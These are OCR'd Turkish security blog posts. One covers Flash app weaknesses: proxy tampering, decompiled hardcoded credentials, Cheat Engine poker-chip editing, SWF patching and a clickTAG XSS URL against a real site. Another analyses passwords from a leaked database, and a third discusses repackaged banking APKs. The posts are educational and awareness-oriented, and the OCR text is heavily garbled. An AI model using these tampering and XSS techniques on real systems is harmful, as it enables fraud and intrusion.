Mozilla Firefox

Fle Edt Yew Hgory @ookmarks Tools Help
@ - C i | hitpify
W Most Visibed Getting Started Latest Headines

pass.swi (application/x-shockwave-...

vasil oy

2 100 puan

Transferring data from com.tr

Ipass. swf 2 _-'

¥ &%ue
ST
—
s o
5
6
7
8
9

" 10

Breakpoints

File Edt View Proxy Jools Window Help

FauHTA o Ve

Seston 1 *

Breakpoints

> @

<

POST betp &/ FSondar aspx M IVI4IB50 163

Owverview | Request  Edt Response

HTTP{1.1 200 OK
Cache-Control: privabe

Content-Type: text/htm; charsst=utf-8
Content-Encoding: gip

Vary: Accept-Encoding

Server: Microsoft-115/7.5
X-Asphet-Yersion: 2.0.50727
X-Powered-By: ASPNET

Date:

Content-Length: 597

Sorular=SASKINLIKTAN SERSEMLEMEK _AFALLAMAK_NOANSWER

<IDOCTYPE hitrl PUBLIC "-/W3C//DTD ¥HTML 1.0 Transitional{[EN" "http: [ w3, orgl TR chtml] JOTD/ chiml] -transitional dud™ =
achiml omins="http: | fwwes. w3.orgl 1999 html™>
<head > <title >

<ftitle > <meta http-equive"pragma” content="no-cache™ [ > <mata http-aquive="expires” content="0" /> <mata hitp-equiv="cache-control" contert="no-cache" > </head>
<body>
<Form name="Torm1" method="post" action="Sorular aspx71294342650163" id="Torm1">
<dv>
<input types="hidden" name="__VIEWSTATE" id="_VIEWSTATE" vales="|wEPDwUKLTQzNc IMTQ4NWRKhREISTVFT1890HUCR 31 edwithi=" >
<div

<div>
<jdiv
<fform>
<fbody>
< fhtml >

Headers | Text | HTML
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W Charles 3.5.1 Breakpoints

Ele Edt Yew Prowy Iock Window Heb
FaduMTA Ve S/ Xe

Sestion 1 * | Breakpoints

CEE SO o | Recues | £t Resorse |

HTTR{1.1 200 OK
‘Cache-Control: private

Content-Type: bextfhtmi; M-ui-a’“ ; =,
Content-Encoding: gaip ’\‘%’—“‘ gy -,

Vary: Accept-Encoding

Server: Microsoft-115[7.5 SORU
¥-Asphlet-Version: 2.0.

X-Powered-By: ASP.NET

Diate:

J}\_,-
Content-Length; 597 ’5_7 Nt” M
Sorular=GASKINLIKTAN smmlksm]_mm
<IDOCTYPE html PUBLIC "~ {W3C//DTD ¥HTML 1.0 Transitionalf/EN" "http: ] fwwwe. w3, org/TR fxhbml L [DTDy xdhtmil -transitional ded™ >

hitml minss="hitp:/jwees.w3.ong/ 1999 xhiml™>
<head> ctitle >

<Jtitle > <meta http-equiv="pragma" content="no-cache" > <meta http-aquiv="expires” content="0" /> <meta http-equiv="cache-contro” content="no-cache” /> </head>
<hody>
<form name="Torm1" method="post" action="Sorular aspx7 1294342650163 id="Torm1">

<dv>
cinput type="hidden" name="_ VIEWSTATE" id="_VIEWSTATE" vahuew"/WEPDWUKLTQzNIIMTQ: hREGEIVFT1B9DHUCR hie" />
<jdiv>

adiv>

<jd>

<fform>
<fbody>
< hitml >

Headers | Text | HTML | Raw

>

i

TSondar aspx M1 TH4I4I050 163

» Kaynak koduna ¢evirme: Az dncede bahsettigim gibi baytkod olmasindan &tiirii Flash uygulamalarint kaynak koduna 3. parti bir
arag ile ¢evirmek oldukga kolaydir bu nedenle uygulama igine statik kullanici adi ve sifre koymak dogru bir yaklagim olmaz.
Asagidaki ekran goriintiisii bu hatay1 gézler dniine seren giizel bir 6rnek olabilir.

L. "

« C #  © www.google.com.tr/#hi=tr&source=hp&biw=1366&bih=655&q=ext%3Aswf +intextd3Asfredaq=faaqi=8agl=8oq=8fp=84dd53ea4f983897 w W B ® A
i) Hack aCareer. Infor... [ Linkedin (] Other bookmarks
Web Gorseller Habeder Cewri Bloglar Gercekzamanh Gmail Diger v Web Gecmisi | Arama ayarian | Oturum acin ]
Gougle ext:swf intext:sifre = Ama
‘vaklagk 457 sonug bulundu (0,18 saniye) Gelgmeg arama
‘3 Her sey wuasy Mini TEST - Bilvanis Net Farkh Bir Nefes
Dosya turl. Shockwave Flash
@ Gorseller wew bilvanis net/media/Sifre swf
B Videolar
[FLASH]
# Haberler Dosya tird Sho:kwm Flash
= Slfu minimum 8 haneli, lc.mde en az 1 Ilnrlw 1. rakam olmahdir, Turkce karakter ... sifre
Daha fazla {tekrar): Kathm Kosulk
www monsterkanmyercanavan com/main sw{
Istanbul
* Konumu dedigtir )
Dosya tird Shuckwm F'Inh
microoyun com/imag /sifre-tahmini%5B81%50 swi
Web
Torkge yazilmig [FLASH]
sayfalar Dosya turl Shockwave Flash
Sayfalann bulundugu
Glke: Tarkiye EREESTYLE - STREET BASKETBALL 3000 GCASH 48 TL
Gevrilmis sayfalar Karakter Sifre : Islem: Uriind satin almak igin Gye olmahsinz. Uye olmak icin tiklayiniz

= Teshmatlar: Bu Grindn 24 icinde sitemizden adminlen tarafindan ...
Daha fazla arama arat .y kppazar com/freestyle/190/32net2 swf - Onbellek

[FLASH]
Dosya turd: Shockwave Flash

ruass NOKIASUPERSOUNDU NOKIASUPERSOUNDU .. Kullanici ad: Sifre
Dosya turi: Shockwave Flash

NOKIASUPERSOUNDU. NOKIASUPERSOUNDU .. Kullanici adi. Sifre
monomundo.com/mb_vZ_orange swi?

2007... yen vardir um_.ra aldmnzm macagrlz hu lﬂw venn [burasn Iom raﬂynnuzu
diger DJ arkadasiniza devir ettiginizde lazim olucak) ...
www_benimblog com/blogtasanm/161701/bayrak_swi C"\Deliek ;I
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g e -7 |

Kullanici Adr:

Sifre

[ Giris ]

&8 RoboForm ~ |Search v | g3logns « Sl (passcards) SetupFormFillng g Save @ Generate (g Sync %

39



(0 \ Sothink SWF Decompiler
‘_;,}
AdtianSrip View Config Tools Help
o)
Quick Open: 6’ -‘1 |
- o . 2 =

Export To Export Mutti-file apShe
FLA/FLEX Resource Export >

Quick Open Export Muilti-Export | SnapShot
she.swd > Action (47) >

- = X

32 onClipEvent (construct)

33|

34 icon = "";

35 label = "Girig":

36 labelPlacement = "right":

37 selected = false;
38 toggle = false:
39 enabled = true:
40 wvisible = true;

4l minHeight = 0;

42 minWidch = 0;

43)

44

45 // [onClipEvent of sprite 53 in frame 1]

46 on (release)

47 {

48 if (_root.kullanici.text == "N < _root.sifre.text == ")
49 {

50 _root. gecURL (" ftal )

51 )

52 elae

53 {

54 _root.hatal.text = "Hatali kullsmici Adi veya §Jifre";
55 } // end else if

56 )

57

58 // [onClipEvent of sprite 18 in frame 1]
59 onClipEvent (construct)

60 {
61 autoSize = "none";
62 htal = false;
63 Nt = "

£

Tag Information

Class Name Content

Check For Updates...
Resources o x
A 9, Export FLA/FLEX ' Export Resources

@ [ Fok(2) ~|

@ Teuxt (4)

@ [ Sprite (49)

@ [ Button (1)

& (] Frame (1)

2 Action (47)

# [ ManMovie

% (IS sprite S (Defauks)

# (114 sprite 6 (UICbjectExtensions)

% [1F sprite 7 (UTObiject)

# [ sprite 11

# [1F5] sprite 14 (FocusRect)

# (15 sprite 15 (FocusManager)

# (%5l sprite 16 (UIComponentExtensions)

# (54 sprite 17 (UIComponent)

# (1 sprite 18 (Label)

# [1)54] sprite 39 (BrdrShdw)

# (1] sprite 41 (BrdrFace)

# 1% sorite 44 (BrdrBk) |
< >
Mowe information ax
=

File Mame C\Documents and Settings\tl...
Compressed true
Movie Size(bytes) 115332
File Version 80
File Type MNormal SWF
¥ =
Frame Width(pixels) 300
x Frame Heightipixels) 150
Frame Rate 12
Frame Count 1
Background Color [ tteeee

{4 4 b Genersl  Instance  Lsbel  Components . Hex  Search Results

Ready

¢ Hafizaya miidahale etme: Diger tiim uygulamalarda oldugu gibi Flash uygulamalar tarafindan kullanilan verilerin bir kismida
hafizada saklanmaktadir. Hafizaya miidahale ederek uygulamanin akisini degistirmek, sahip olmadigimiz bir yetkiye sahip
olabilmek miimkiin olabilir. Ozellikle oyunlarda hafizaya miidahale ederek giiciiniizii yiikseltmek veya sanal paranizi arttirmak
haksiz kazanca yol agabilir. Asagidaki ekran goriintiisiinde bu amagla kullanilan Cheat Engine araci ile bir Poker oyununda sahip
olunan paranin nasil yiikseltilebildigini gorebilirsiniz. Bunun i¢in yapmaniz gereken o an sahip oldugunuz paranin karsiligini

hafizada bulmak ve istediginiz deger ile degistirmektir.
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") Texas HoldEm Poker on Facebook - Mozilla Firefox

Fle Edt Vew Hgtory @ookmarks Tools Hep
G - c i M hittp: | fapps. Facsbook. comjtesxas_holdem/index. phpTerc_track_strePoker+FE+zynoawebsite+ Other+ % 25AC TION%:25-+0% JAzyngawebste % 342010-01- 208inst sled=11 ¥ "’ ¥ .
WA Most Visited | | Getting Started Latest Headines

# Texas HoldEm Poker on Facebook

405,205 Players Online Now

rayhow B - . y
3

Learn To Play

HOLD'EM TOURMAMENTS VIP CLUE
Tabie Stakes: All v
Room Stakes

Speskeasy - Rivais 1 200K /400K 4M/80M

WVegas Nies - Friendy 2 1008 / 200K M/ 40M
Holtywood - Pro 1 A0K 7 BOK BOOK 7 16M
Holbywiood - Friendly 1 40K [ BOK BODK /16M
Ballar - Medum 1 20 7 40K 400K 1 BM
Poker Face - Pro 3 10K [ 20K 2008 / 4M
Poker Face - Frisndy 2 10K / 20K 2008 1 &M
SH 710K 100K 1 24

i
£
‘ii

pooooooo|

Fullables |V | REFRESHUST

b
Transferrnng data from poker track.zynga.com -
heat Engine 5 =
File Edt Process Help
@ — 00000E 7C-phugin-contsnes eus
EEICIR .
[Found 10
Address Value MNew Scan | Nest Scan
02B10F10 3000 Viakon Settngs
03485578 3000 i
D3E0S520 1] _IHex | 3000
04171288 3000 Scan ype | Exact Value w | O Rounded (defaul)
04248210 3000 Duhels it Ak 1 C Rrounded [entreme)
0S6206C0 3000 d fesition i g ® Tnncatled
-~ Browse this memor
D604B378  8,256793947 O Lo Meenoty Scan Dptions ] Ursandomias:
OSFIFBRS  9,051726355 hov 3 hexadecimal value Trpe ] Encble Speedhack
OSFIFCO0  5,492652023 o0 2Methey
082 AAB48 9,415092534¢  Unfreeze ol addresses in this kst Smart edt address{es)
Pointer scan for this address
Find out what accesses this sddress
Find out what writes to this address
Recalculate seacted addresses
Force recheck symbols
Cut

Copy

Group options
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Cheat Engine 5.6.1
File Edt Frocess Help

= =l OO00E 7C-phugin-cont et e

EECE
[Found 10

Address Value | Mew Scan | | Mewt Scan |

02B1OF10 300000 TR Settngs
03485578 300000 x

OIE0SS20 15178 L Fex | 3000

04171288 300000 Scan lype | Exact Value w | (O Rounded (defaul]
04248210 300000 b " Flounded [extreme]
056206C0 300000 e P Truncaled
06048378  1,13981219605401E-279 Mesmary Scan O Clum ,e'
O6F1FBBE  1,14954088720827E-287 [ Enable Speedhack
DSFIFCO0  1,1495721928498E-287 =

DB2AAB48  7,41592534407711E-321

LY

_Memory view | @ Add addiess manualy
Frozen Diescription Addes Type Vakse

300000

") Texas HoldEm Poker on Facebook - Mozilla Firefox
Fle Edt  Vew Hgstory QGookmarks Tools Help

6 v c i M hictp: [fapps Facsbook. comtexas_holdemfindex. php?erc_track_str=Poker+FB+zyngavwebsite+ Other+ % 25ACTION % 25+0% JAzyngawelsite % 342010-01 - 238inst alled=11 - -’ . y
A Most Visited Getting Startad Lakest Headines

# Texas HoldEm Poker on Facebook -
g . - 5 == ~
7% 300,000 (41 1

405,205 Players Online Now

Play Now

HOLD'EM TOURNAMENTS VIP CLUE
Table Stakes: All
Room
[ ﬂ WVegas Ntes - F.rerm 2 IEI.I\ f_‘Cl.'In 24/ 40M
B Horywood - Rivals 1 40K £ BOK 800K/ 16M
Smooth - Advanced 2 SH 0K 100 £ 2M
Smooth - Frisndly 2 SH 0K 1008 7 20
Skck - Pro1 1K {21 20% [ 400K
Clubber - Medhum 7 500 /1K 10K / 200K
Clubber - Advanced f 500 /1K 108 / 200K
Clubber - Advanced 7 500 /1K 108 / 200K

DoooDODDD|

Heje: Emptytsties || Fulltables v | REFRESHUST ||

<

Transferring data from poker. track. zynga.com -

 Tersine ¢evirme(disassembling): Flash uygulamasia ait SWF dosyasini analiz etmek i¢in kaynak koduna g¢eviremedigimiz
durumlarda baytkodu okunabilir hale ¢evirebilir ve analizimizi gergeklestirebiliriz. Analizle yetinmeyerek baytkoda miidahale
edebilir ve SWF dosyasini yamayabiliriz. Kaynak koduna ¢evirdigimiz ancak tekrar derleyemedigimiz durumlarda da bu yola
basvurabiliriz. Bu iki durumda da hem tersine ¢evirme hem de yamama i¢in RABCDasm aracindan faydalanabilirsiniz. Ornek
olarak bir oyun diisiiniin, kaynak koduna ¢evirmek miimkiin ve analiz neticesinde yonetim paneli SWF dosyasinin iginde yer
aliyor ancak uygulamay1 derleyenler tarafindan bu ydnetim paneline ulasmak miimkiin degil ¢iinkii bu actionscriptte yer alan ve
bu panel ile ilgili olan fonksiyon oyunun yiiklenmesi esnasinda goriiniir degil. Ancak bu dosyay1 tersine ¢evirerek (disassembling)
miidahale edebilirseniz (patching) bu panelin yiiklenme esnasinda goriiniir hale gelmesini saglayabilir ve yonetici paneline
erigebilirsiniz. Iste tam olarak bu durumu konu alan bir zafiyeti gectigimiz aylarda kasfederek oyunu gelistiren firma ile paylastim
ve diizeltilmesini sagladim. (Firma ¢alisanlarinin samimi ve profesydnelce yaklagimindan dolayi kendilerini tebrik etmeden
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geemeyecegim. Farkindaligin arttirilmasi adina firma adini gizleyerek videoyu yayinlamami sagladiklar i¢inde kendilerine ayrica
tesekkiir etmek isterim.

» Zafiyet tarama araglar1: Actionscript programlama dilide giivenli bir sekilde kullanilmadig: taktirde XSS, XSRF gibi zafiyetlere
yol agabilmektedir. Ozellikle URL kabul eden, isleyen fonksiyonlarda ve HTML kullanilan parametrelerde bu zafiyetlere sik¢a
rastlayabiliriz. Ornek olarak Flash ile hazirlanmis olan reklamlarda kullanilan clickTAG degiskeni giivenli kullanilmadig: taktirde
XSS zafiyetine yol agabilmektedir. Bu ve benzer sorunlari tespit etmek i¢in Actionscript kodunu detayli olarak analiz etmek gerekir
ancak bu zaman alic1 bir is ve ¢ogu kimse i¢in uzmanlik gerektirebildigi icin bunu gergeklestiren programlardan faydalanabiliriz.
HP SWFScan bu amagla gelistirilmis, hedef SWF dosyasini tersine ¢evirerek analiz eden ve 60'dan fazla giivenlik zafiyetini
tespit edebilen ve raporlayabilen faydali bir aragtir. Asagidaki ekran goriintiisiine bakacak olursaniz rastgele olarak secilmis 6rnek
bir sitedeki SWF dosyasinda yer alan XSS (cross-site scripting) giivenlik zafiyetini basariyla tespit edebildigini gorebilirsiniz.
(SWFScan Actionscript 2 ve 3 siirlimlerini desteklemektedir. 2 siiriimil i¢in ayrica SWFIntruder aracinida kullanabilirsiniz.) Bu
tiir araclar kimi zaman giivenlik zafiyetlerini tespit edemeyebilirler bu nedenle her ihtimale kars1 actionscripti analiz etmekte yarar
oldugunu soyleyebilirim.

& Settings Q@
8 452 Exclusions |& £53 Exclusions & Prox; E Checks

Check Mame Sevetity i
Application Source Avalable Critical
Possible Credit Card Mumber Disclosure Critical
Insecure Security. allowInsecureDomain() Lsage Critical
Insecure LocalConnection. alowDomaini) usage Critical
Insecure Security. allowDomain() usage Critical
Insecure LocalConnection. alowInsecureDomaint) usage Critical
Possible Social Security Murnber High
Possible Database Connection String (MSSOL ODBC Trusted Connection) High
Possible Database Connection String (MSSQL CleDb Trusted Connection)) High
Possible Database Connection String (MSSOL OleDb via IP Address) High

Possible Database Connection String (MSSQL WMET DataProvider Standard Connec...  High
Possible Database Connection String (MSSOL WMET DataProvider Trusted Connecti...  High
Possible Database Connection String (M3SSOL NET DataProvider via IP Address) High
PGP Private Key Elock High
Possible Database Connection String (Access and Oracle ODEC -- Standard Securit...  High
Possible Database Connection String (Access CDBC workgroup - Systemn Database)  High
Possible Database Connection String (Access OleDb with MS Jet Workgroup - Syst... High
Possible Database Connection String (Access OleDb with MS Jet wWith Password) High

Select Al ” Clear Al

Summary

A string of hexadecimal digits matching the length of a cryptographic hash from the MD familvy was detected. Cryvptographic
hashes are often used to protect passwords, session information, and other sensitive data. There are multiple hashing
gorithms in the MD familv : ; il use

[ Sed

i SWFScan
Fil=  Help
Path or URL:  http: . R com. tr/sbhKlasorler fReklam/vimjo/bannerlar (HogaTurkiye-300: 250, swf = 5 B cet |\-)\,Search |'L:5',Setting5 | - |
[& J70) HogaTurkiye-300+250 s AW snurce | @ vins
i D [wulnerable] Suggested Security Controlz for Embedding S'WF Files in HTML
=4/ MaovieClip 0 root] 4 b
= EI E_rameD on(release) =
‘43 | Action 0 {
=@ il var _ callResult 4 = [f
=42 | onfrelease) o i
[; [rulnerable] Flashtars Cross-Site Scripting i
Bl MovieClip 23
seits | onClipE vent{load)
& af MavieClip 32
sty | onlClipE vent{load) .
40 MovieClip 38 J < i 3
St | onClipE vent(load |
4+ | onChipE vent{load) [ Vulnerabilities
Seve_lily Mame Location
(*] Flashars Cross-Site Scripting Mavie Clip 0] Button 18 | an(
(%] Suggested Security Controlz for Embedding HA% ‘
|

Leam More

SwfScan decompiles 5'WF files and locates security vulnerabilities directly in source code. “vou can decompile files from vour local

[ﬁ] @ zystem or from the intermet by typing & URL. Both ActionS cript versions 2 and 3 are supported, T

Download a free trial of Weblnspect  Visit the HP Application Security Community blogs and discussion forums

Leamn more about:  Flash Security  Application S ecurity Center SRR

invent
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2) HogaTurkiye-300x250.swf (application/x-shockwave-flash Object) - Mozilla Firefox

File Edit Wew History Bookmarks Tools  Help

ar / 3
6 - c A @ | |j hiktpe: /i, I com. brfsbhfKlasorler fReklamvimijofbannerlar HogaTurkive-300:250, sw?clickT AG=javascript:alert("2557 ‘f:( v| m' Google p|

Most Visited D Getting Started [ | Latest Headlines

| ] HogaTurkive-300x250.swf (applicati... | * E
Kopek Baligi Kirkirdag
miicizesini iceren
Hoga Agn Kesici Jel Krem

Done - e

") Mozilla Firefox

File Edit Miew History EBookmarks Tools  Help

= }Q & [ Search Bookmarks and Histary v| [7:" Google ;\|
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Art niyetli kisilerin Flash uygulamalarinizi istismar etmesini zorlastirmak i¢in mutlaka action scriptinizi gizlemeli (obfuscation), Adobe
tarafindan giivenli uygulama gelistirme 6nerilerini dikkate almali, hafizaya miidahale i¢in saklanan degerleri kullanim sonrasinda hemen

degistirmeli ve trafige miidahaleyi zorlastirma adina sunucu ile uygulama arasindaki degerleri hashlemenizi tavsiye ederim.
Bir sonraki yazida goriismek dilegiyle...

Sunum dosyasi: Powerpoint siiriimii

Ne Tir Sifreler Kullaniyoruz ?

Source: https://www.mertsarica.com/ne-tur-sifreler-kullaniyoruz/
By M.S on January 13th, 2011
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Gegtigimiz giinlerde yakin bir arkadagimdan 34762 adet iiyesi olan meshur bir haber sitesine ait veritabanin yeralti1 diinyasinda elden
ele gezdigini 6grendim.

Hack edilen veritabanlari ahlaksiz korsanlar i¢in olduk¢a degerlidir ¢iinkii buradan elde ettikleri kisisel bilgiler sayesinde (e-posta, isim,
soyad, sifre) bu kullanicilarin bagka sistemler iizerinde (sosyal aglar, e-posta sistemleri vb.) ayn1 sifreleri kullanip kullanmadiklarini
kontrol ederek bu kullanicilara ait daha fazla bilgiye ulagmaya ¢alisirlar. Bunun altinda yatan amag kisisel bilgilerin satilmasi ile elde
edilecek kazangtir. Iste bu yiizden her sistemde farkl sifre kullanilmasi oldukca énemlidir.

Hack edilen veritabanlar1 ayrica ahlakli korsanlar ve sistem yoneticileri icinde olduk¢a degerlidir. Mesela sistem yoneticileri bu
veritabanlarinda yer alan sifreleri analiz ederek tahmin edilmesi kolay olan sifreleri tespit edebilir ve yonettigi sistemlerde bu sifrelerin
kullanilmasini yasaklayabilir. Bu yaklasimin amact bir nevi sifre kara listesi olusturmaktir bu sayede sifre politikalarina ragmen zayif
sifre kullanmaya meyilli olan kullanicilarin bu sifreleri kullanmasi engellenebilir.

Ahlakli korsanlar ise bu veritabanlarinda yer alan bu sifreleri kendilerine giizel bir s6zliik olugturmak amaciyla kullanabilirler. Bu sézliik
sayesinde izin almmis hedef bir sisteme sizmak i¢in gerceklestirilen sozliik saldirilarinin (dictionary attack) bagariya ulasma ihtimali
yiikselir ve sistemdeki zayi1f sifre kullanan kullanicilar tespit edilerek olasi bir ihlalin ve yaratacagi etkinin dniine gegilmis olur. Peki ya
ayn1 yontemi ahlaksiz korsanlarda izlerse ne olur ? Bu durumda herhangi bir sistem tizerinde zayif sifre kullanan kullanicilarin hesaplari
kisa bir siire icinde art niyetli kisilerin kontroliine gecer ve kullanicilar igin kabus dolu giinler baslamis olur.

Bu veritabani ile karsilaginca en ¢ok yurdum insani giiglii sifre kullanimi konusunda ne kadar bilingli sorusuna cevap aramak istedim
ve grep, cat, sort, uniq, head, wc gibi basit metin araglari ile ise koyuldum.

Son kullanicilar igin gii¢lii sifre politikasi biiyiik kiigiik harflerden, sayilardan, 6zel karakterlerden ve en az 8 karakterden olusmalidir
diisiincesiyle bu politika ile uyumsuz olan sifreleri veritabaninda aratmaya bagladim.

Tekil (uniq) sifrelerin sayisi:
cat pass.txt | sort | uniq -ciu | we -1

26123

En uzun sifrenin uzunlugu:
cat pass.txt | sort | uniq -ciu | we -L

28

Sadece sayilardan olusan 50 sifre:
grep -e "M0-9]*$" pass.txt | sort | uniq -ic | sort /r | head -n 50

979 123456
103 111111

84 123123
&1 000000

73 123456789
65 666666
58 12345678
56 112233
39121212
38 14531453
32 123654
29 654321
2919031903
28 159753
2519051905
25123321

24 313131
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22131313

211234567

20 19881988

20 19871987

20 112358

19 555555

19 212121

19 19891989

19 19071907

19 1123581321

19101010

17222222

17 19861986

17 19841984

17 12341234

16 102030

15 159357

15 147852

14 7777777

13 333333

13 19901990

12 987654321

12 987654

12 852456

12 353535

12 252525

12 19851985

12 19801980

12 159951

12 12344321

12 12121212

12 010203

12 00000000
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Sadece sayilardan olusan tekil (unique) sifrelerin sayist:
grep -e "M0-9]*$" pass.txt | sort | uniq -icu | we -1

10842

Sadece harflerden olusan 50 sifre (Tiirk¢e karakterler haric):
grep -e¢ ""[a-zA-Z]*$" pass.txt | sort | uniq -ic | sort /r | head -n 50

115 (*sitenin ad1 sansiirlendi*)
57 qwerty

47 sanane
41 istanbul

34 ankara
30 password
30 parola

30 asdasd
26 galatasaray
26 besiktas
25 Fenerbahce
21 deneme
19 cimbom
17 qazwsx
16 portakal
16 kartal

14 asdfgh
12 aaaaaa

11 unuttum
11 merhaba
10 zeynep
10 malatya
10 hebele

9 yagmur

9 qweasd

9 kelebek

9 kanarya

9 hacettepe
8 penguen

8 mustafa
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8 karakartal
8 darkness
7 ultraslan
7 serdar

7 manyak

7 cancan

7 asdfghjk
7 anamur

6 trabzon

6 sananebe
6 metallica
6 marmara
6 kertenkele
6 karakter
6 hedehodo
6 emreemre
6 egemen

6 anadolu

6 alperen

5 zxcvbn

Sadece harflerden olusan tekil (unique) sifrelerin sayisi (Tiirkge karakterler harig):
grep -e "a-zA-Z]*$" pass.txt | sort | uniq -icu | we -1

6042

En ¢ok kullanilan 50 sifre:
cat pass.txt | sort | uniq -dci | sort /r | head -n 50

979 123456
115 (*sitenin ad1 sanstirlendi*)

103 111111
84 123123

81 000000

73 123456789
65 666666

58 12345678
57 qwerty

56 112233



47 sanane
41 istanbul
39121212
38 14531453
34 ankara
32 123654
30 password
30 parola

30 asdasd
29 654321
2919031903

28 159753

26 galatasaray

26 besiktas
25 fenerbahce
2519051905
25123321
24 313131
24 1g2w3e
24 123qwe
22 bjk1903
22 131313
21 deneme
21 1q2w3e4r
21 1234567
20 19881988
20 19871987
20 112358
19 cimbom
19 555555
19 212121
19 19891989

19 19071907
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19 1123581321
19101010

18 qwel23

17 qazwsx
17222222

17 19861986

17 19841984

Hem harflerden hem de sayilardan olusan 50 sifre (Tiirk¢e karakterler harig):
grep -¢ ""[a-zA-Z0-9]*$" pass.txt | sort | uniq -ic | sort /r | head -n 50

979 123456
115 (*sitenin ad1 sansiirlendi*)

103 111111
84 123123

81 000000

73 123456789
65 666666

58 12345678
57 qwerty

56 112233

47 sanane

41 istanbul
39121212

38 14531453
34 ankara

32 123654

30 password
30 parola

30 asdasd

29 654321
2919031903
28 159753

26 galatasaray
26 besiktas

25 fenerbahce



2519051905
25123321
24313131
24 1g2w3e
24 123qwe
22 bjk1903
22 131313
21 deneme
21 1q2w3e4r
21 1234567
20 19881988
20 19871987
20 112358
19 cimbom
19 555555
19212121
19 19891989
19 19071907
19 1123581321
19 101010
18 qwel23
17 qazwsx
17222222
17 19861986

17 19841984

25000

20000

15000

10482

9599

10000
6042

- _:-
o

Alfa (TR Harig) Nimerik

Alfanimerik + Ozel
Karakterler

M Sifre Turleri
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W Alfa (TR Harig)

W Nimerik

Alfanimerik + Ozel
Karakterler

En cok kullanilan sifrelere bakildiginda ve kullamilan sifrelerin %40'min sayilardan %37'sinin sadece Ingilizce harflerden olustugu
disiiniildiigiinde giicli sifre kullaniminda istenilen seviyede oldugumuzu séylemek biraz gii¢ olur.

Artniyetli kisilerin gifrelerinizi tespit etmelerini zorlastirmak i¢in mutlaka ama mutlaka sifrenizde biiyiik ve kiigiik harflere, sayilara, 6zel
karakterlere (8, !, ? vb.) ve en az 8 karakter uzunlugunda olmasina 6zen gosterin ve her platformda, sistemde farkli sifreler kullanmaya
calisin aksi durumda kisisel bilgilerinizin, hesaplarinizin ele gegmesiyle telafisi gii¢ olan zor giinler gegirebilirsiniz.

Sistem ve veritaban1 yoneticilerine ise bu tiir durumlara diismemek ve kullanicilarint zor durumda birakmamalart i¢in kullanicilara ait
sifreleri veritabani {izerinde mutlaka ama mutlaka sifreli (encrypted) veya saltlanmis + hashlenmis olarak saklamalarini siddetle 6neririm.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Android Ugruna Risk Almaya Deger mi ?

Source: https://www.mertsarica.com/android-ugruna-risk-almaya-deger-mi/
By M.S on December 31st, 2010

e

Gegtigimiz sabah, bir arkadasgimin géndermis oldugu bir e-posta gercek anlamda beni hayrete diislirdii. E-posta, bir bankanin
miisterileri i¢in hazirlamis oldugu iki Java uygulamas: ile ilgiliydi. Bu uygulamalardan biri cep telefonunda bankacilik islemlerinin
gerceklestirilmesini saglarken bir digeri ise bireysel interaktif bankacilik iglemlerinde kullanilmak iizere "Tek Kullanimlik Sifre"
iiretilmesini sagliyordu ve bu iki uygulamada resmi olarak Android isletim sistemini desteklemiyordu. Arkadasim i¢in e-postanin en
can alic1 kismyi, bir forumdaki bir kisinin bu uygulamalar1 Android isletim sistemi ile uyumlu hale getirmesiydi. Kuskusuz bu girisimin
nedeni, Android igletim sistemi iizerine ilave program kurmadan Java uygulamasi ¢alistirilamiyor olmasi ve bankalarin Android igletim
sistemi ile uyumlu uygulamalar geligtirmiyor olmasiydi.
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http://forum.donanimhaber.com/m_45432789/tm.htm

Vi miee  Grmm s O

€ © C M O forum.donanimhaber.com/m_45432789/tm him wE%s A

+ haber365 intihar Eden Liseli Kizin ibretlik Notu

Girig Mesaj << Daha eski konu Daha yeni konu >>
EnginTopeuoglu | | 25 aralik 2010, 18:58:51 &0 Sem e Wik £lcevp #aunt @dventendic (5 01 (D shayet Bt
Onbasg
Dikkat! (GUNCELLEME ISTEYENLERIN YAPMASI GEREKEN iSLEMLERDIR)
asadgidaki

adimlan yapimz. MM.!UMMUNMMWI,WM
ama yoneticisinden kaldinmz. Ardindan da

Beyler (ILK KEZ YUKLEYENLER iGIN ADIMLARDIR);
Giincellenen iscep ve Cep Anahtar APK uygulamasi'ni sizlere yorum! Hepsi calisiyor artik! HAYIRLI OLSUN!

Iscep_Android_YeniSurum_Calisan_by_EngiN.apk yazan uygulama;
isbankas: online islem merkezinde yapmamz gereken islemler'i cep telefonunuz Uzerinden yapmaniz igin gereken uygulamadir,
Yani isbank.com.tr'ye girmenize gerek kalmaz. Iscep icersinde cep anahtar sistemi de mevcut!!

Cumrmht&jngh apk yazan uygulama i
I;banknsl com.tr 'ye girerken, cep telefonunuzdan tek I:ullnmmhl: gifreler Uretmenize yarar.

Android cihazlarda denenmigtir.

APK'lar Engin Topguodlu tarafindan yapilmigtir. Kotl bir amag veya bagka birgey asla gUdulmemis; kisilerin ve sahsimin yasadih soruna
gbzum bulma amaciyla
dretimi yapimistir.

Uygulamalan yukledikten sonra 11!

https://www.isbank.com.tr/1 /MainPageE .aspx?src=CepAnahtarAktivasy dresine girin "Uygulamay Apple
Store'dan ya da

Nokia Ovi Store'dan yuklediyseniz agaidaki secenedi isaretleyiniz® yazisinin altindaki kutucugu isaretliyoruz,

*Bundan s:nra bilgisayanmizdaki verilen kodlan telefondaki bolimlere girerek devam ediyoruz ve aktivasyon tamamlandiinda uygulama
Galigmaya hazr.

* Uygulamay yukiodi«un sonra java vb, br;w istemez ama bi ihtimal isterse; http://bit. ly/fcvpBh adresinden Java/J2ME Runner
uygulamasini indirebilirsiniz. Uygulamay: da kurduktan sonra telefonunuza reset atin (yeniden baglatin)

Iscep / Cep Anahtar Programini YUklemek Igin Asafidaki Indir Tusuna Basiniz:
(B5m YENILENEN ISCEP Android Surumu INDIR (e

Paylag:
< Bu mesaj bu kigi tarafindan degigtirildi EnginTopcuoglu -- 23 Aralik 2010; 19:10:15 >

1§ 24 Aneik 20105 2414222 2 e o Boiok e £nsots dviniansie (50 Dot

L I
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'@n:m & Cep Anahtar Igban... + =[5 g3

« C f O forum.donanimhaber.com/m_454 : t wa &% A
gr:glmupl.‘uuglu § Don; 13:28:22 d “rv e Bk 2 Cevap ANt Sl vanlendir L (L Skayet B A
Inbagt
*

Uygulama asil olarak iphone ekran boyutu'na esit ekranlarda net olarak galisiyor. Desire'da tagma dedidiniz gibi gok az oluyor. Wildfire igin
bir deneme yapabilinm dilerseniz, Ekran yUkseklik ve genislik olarak bana iletirseriz yardimeci olmaya galginm,

Mesaj: 27
g:::_:lsrﬂeld J Dony 14:23:25 ad Zirm s BB1ok cevap # Al @dveniendic |7 ] (1) Slayet Bt
i 240 » 320 pmels, 3.2 inches
